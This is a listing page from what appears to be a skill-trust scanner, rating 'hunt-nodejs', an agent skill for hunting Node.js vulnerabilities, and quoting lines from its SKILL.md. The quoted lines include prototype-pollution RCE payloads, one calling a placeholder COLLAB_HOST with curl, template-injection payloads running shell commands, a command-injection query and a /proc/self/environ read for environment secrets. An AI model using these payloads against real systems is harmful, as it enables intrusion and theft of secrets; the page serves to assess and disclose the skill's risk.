← All skills
hunt-nodejs
92 / 100 · Low risk
Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By elementalsouls/Claude-BugHunter (GitHub) · security · 5,515 stars · scanned at commit d5dcc53
Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 15 places.
Show 12 more
- skills/hunt-nodejs/SKILL.md, line 40
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express" - skills/hunt-nodejs/SKILL.md, line 57
curl -s -X POST https://$TARGET/api/merge \ - skills/hunt-nodejs/SKILL.md, line 82
curl -s -X POST https://$TARGET/api/update \ - skills/hunt-nodejs/SKILL.md, line 95
-d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}' - skills/hunt-nodejs/SKILL.md, line 101
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}' - skills/hunt-nodejs/SKILL.md, line 115
curl -s -X POST https://$TARGET/api/admin/action \ - skills/hunt-nodejs/SKILL.md, line 141
curl -s -X POST https://$TARGET/api/render \ - skills/hunt-nodejs/SKILL.md, line 148
-d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}' - skills/hunt-nodejs/SKILL.md, line 153
-d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}' - skills/hunt-nodejs/SKILL.md, line 158
-d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop - skills/hunt-nodejs/SKILL.md, line 170
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id" - skills/hunt-nodejs/SKILL.md, line 186
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
Sends data to these websites: $target
The author does not mention this. Expected for a security skill.
Found in 28 places.
Show 17 more
- skills/hunt-nodejs/SKILL.md, line 45
curl -s "https://$TARGET/node_modules/.package-lock.json" - skills/hunt-nodejs/SKILL.md, line 48
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET" - skills/hunt-nodejs/SKILL.md, line 57
curl -s -X POST https://$TARGET/api/merge \ - skills/hunt-nodejs/SKILL.md, line 62
curl -s -X POST https://$TARGET/api/settings \ - skills/hunt-nodejs/SKILL.md, line 67
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test" - skills/hunt-nodejs/SKILL.md, line 68
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1" - skills/hunt-nodejs/SKILL.md, line 71
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin" - skills/hunt-nodejs/SKILL.md, line 82
curl -s -X POST https://$TARGET/api/update \ - skills/hunt-nodejs/SKILL.md, line 93
curl -s -X POST https://$TARGET/api/render \ - skills/hunt-nodejs/SKILL.md, line 99
curl -s -X POST https://$TARGET/api/template \ - skills/hunt-nodejs/SKILL.md, line 115
curl -s -X POST https://$TARGET/api/admin/action \ - skills/hunt-nodejs/SKILL.md, line 121
curl -s -X POST https://$TARGET/api/internal \ - skills/hunt-nodejs/SKILL.md, line 127
curl -s https://$TARGET/api/login \ - skills/hunt-nodejs/SKILL.md, line 141
curl -s -X POST https://$TARGET/api/render \ - skills/hunt-nodejs/SKILL.md, line 146
curl -s -X POST https://$TARGET/api/render \ - skills/hunt-nodejs/SKILL.md, line 151
curl -s -X POST https://$TARGET/api/render \ - skills/hunt-nodejs/SKILL.md, line 156
curl -s -X POST https://$TARGET/api/render \
and 8 more places
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'hunt-nodejs' ] || [ -L ~/.agents/skills/'hunt-nodejs' ]; then echo 'A skill folder named hunt-nodejs already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/elementalsouls/Claude-BugHunter' "$d" && git -C "$d" checkout --quiet 'd5dcc5347675ed431488e0a0e46749e4918aa194' -- 'skills/hunt-nodejs' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/hunt-nodejs' ~/.agents/skills/'hunt-nodejs' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'hunt-nodejs' ~/.claude/skills/'hunt-nodejs' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for elementalsouls/Claude-BugHunter shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/elementalsouls/Claude-BugHunter/)
Score history
| Date | Version | Score |
|---|
| 2026-11-10 | d5dcc53 | 92 |
| 2026-11-08 | 42a3ab1 | 92 |
| 2026-11-06 | 3e71af0 | 92 |